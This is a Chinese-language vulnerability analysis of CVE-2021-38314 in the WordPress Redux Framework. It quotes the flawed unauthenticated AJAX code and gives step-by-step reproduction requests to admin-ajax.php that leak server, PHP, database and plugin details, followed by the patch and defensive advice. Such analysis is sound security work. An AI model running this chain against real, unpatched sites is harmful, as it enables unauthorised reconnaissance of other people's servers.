Wordpress敏感信息泄漏漏洞 CVE-2021-38314 代码审计
字数 1249 2025-08-07 08:21:50
WordPress Redux Framework 敏感信息泄漏漏洞 (CVE-2021-38314) 分析与复现
漏洞概述
CVE编号: CVE-2021-38314
漏洞类型: 敏感信息泄露
影响组件: WordPress Redux Framework
影响版本: v4.2.11及以下版本
漏洞描述: Redux Framework存在未授权的敏感信息泄露漏洞,攻击者可以通过发送特定请求获取服务器敏感信息。
漏洞分析
漏洞根源
漏洞位于Redux Framework的class-redux-helpers.php文件中,主要问题在于:
- 未授权访问的AJAX端点
- 敏感信息暴露的函数
关键代码分析
1. 漏洞入口点
$support_hash = md5(md5(Redux_Functions_Ex::hash_key() . '-redux') . '-support');
add_action('wp_ajax_nopriv_' . $support_hash, array('Redux_Helpers', 'support_args'));
add_action('wp_ajax_' . $support_hash, array('Redux_Helpers', 'support_args'));
$hash_arg = md5(trailingslashit(network_site_url()) . '-redux');
add_action('wp_ajax_nopriv_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));
add_action('wp_ajax_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));
关键点:
- 使用
wp_ajax_nopriv_注册的AJAX端点可以被未认证用户访问 - 这些端点调用了可能泄露敏感信息的函数
2. hash_arg() 函数
public static function hash_arg() {
echo esc_html(md5(Redux_Functions_Ex::hash_key() . '-redux'));
die();
}
该函数返回一个基于hash_key()的MD5哈希值,这是后续利用的关键。
3. support_args() 函数
public static function support_args() {
// 各种HTTP头设置...
$instances = Redux::all_instances();
if (isset($_REQUEST['i']) && !empty($_REQUEST['i'])) {
// 有i参数时的处理逻辑
} else {
$array = self::get_statistics_object();
if (is_array($instances) && !empty($instances)) {
$array['instances'] = array();
foreach ($instances as $opt_name => $data) {
$array['instances'][] = $opt_name;
}
}
$array['key'] = md5(Redux_Functions_Ex::hash_key());
}
ksort($array);
echo @htmlspecialchars(@wp_json_encode($array, true), ENT_QUOTES);
die();
}
关键点:
- 当没有
i参数时,会调用get_statistics_object()获取统计信息 - 这些信息包含敏感的系统数据
4. get_statistics_object() 函数
该函数收集并返回系统统计信息,包括:
- WordPress版本
- Redux Framework版本
- 服务器信息
- PHP版本
- 数据库信息
- 安装的插件和主题信息
利用链分析
完整的利用链如下:
-
首先访问
hash_arg端点获取中间值:$hash_arg = md5(trailingslashit(network_site_url()) . '-redux');访问:
/wp-admin/admin-ajax.php?action=<hash_arg> -
获取的返回值是
md5(Redux_Functions_Ex::hash_key() . '-redux') -
计算
support_hash:$support_hash = md5(<第一步获取的值> . '-support'); -
访问
support_args端点:/wp-admin/admin-ajax.php?action=<support_hash>这将返回包含敏感信息的JSON数据
漏洞复现步骤
步骤1:获取hash_arg值
-
计算
hash_arg:$hash_arg = md5(trailingslashit(network_site_url()) . '-redux');或直接访问:
/wp-admin/admin-ajax.php?action=<计算出的hash_arg> -
获取返回值,假设为
HASH_ARG_VALUE
步骤2:计算support_hash
$support_hash = md5(HASH_ARG_VALUE . '-support');
步骤3:获取敏感信息
访问:
/wp-admin/admin-ajax.php?action=<support_hash>
响应将包含系统敏感信息。
修复方案
- 升级Redux Framework到v4.2.12或更高版本
- 补丁主要移除了以下代码:
即移除了未授权访问的AJAX端点add_action('wp_ajax_nopriv_' . $support_hash, array('Redux_Helpers', 'support_args')); add_action('wp_ajax_nopriv_' . $hash_arg, array('Redux_Helpers', 'hash_arg'));
防御建议
- 及时更新所有WordPress插件和主题
- 限制对
wp-admin和wp-includes目录的访问 - 实施Web应用防火墙(WAF)规则,拦截可疑请求
- 定期进行安全审计,检查敏感信息泄露问题
总结
CVE-2021-38314漏洞展示了WordPress插件中常见的两类问题:
- 未授权访问的API端点
- 敏感信息的不当暴露
开发人员应遵循最小权限原则,对任何可能暴露系统信息的接口实施严格的访问控制。同时,安全团队应定期审计代码中的信息泄露风险。